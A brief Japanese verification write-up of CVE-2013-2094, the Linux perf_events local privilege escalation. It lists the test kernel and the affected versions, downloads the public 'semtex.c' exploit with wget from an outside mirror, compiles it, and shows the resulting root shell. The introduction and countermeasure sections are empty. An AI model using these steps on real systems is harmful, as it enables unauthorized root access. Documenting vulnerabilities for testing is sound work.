CVE-2013-2094 Linuxに権限昇格の脆弱性 PERF_EVENTS Local Root

このドキュメントの内容は、以下の通りです。

• はじめに
• 検証環境
• 影響範囲
• 環境構築
• 権限昇格コードの入手とコンパイル
• 実験
• 対策

はじめに

検証環境

uname -a
Linux u1.local 2.6.32-220.17.1.el6.x86_64 #1 SMP Wed May 16 00:01:37 BST 2012 x86_64 x86_64 x86_64 GNU/Linux

影響範囲

• 影響を受けるには、3.8.9までのLinuxカーネルです。
• 2.6.32
• 2.6.37 - 3.8.9
• RHEL 6 が影響を受けます。
• RHEL 5 には、影響しません。

環境構築

sudo yum install gcc

権限昇格コードの入手とコンパイル

wget http://packetstorm.foofus.com/1305-exploits/semtex.c
gcc -O2 semtex.c

実験

[kaworu@u1 Linux_PERF_EVENTS_Local_Root]$ ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
-sh-4.1# id
uid=0(root) gid=0(root) groups=0(root),10(wheel),500(kaworu) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
-sh-4.1#

対策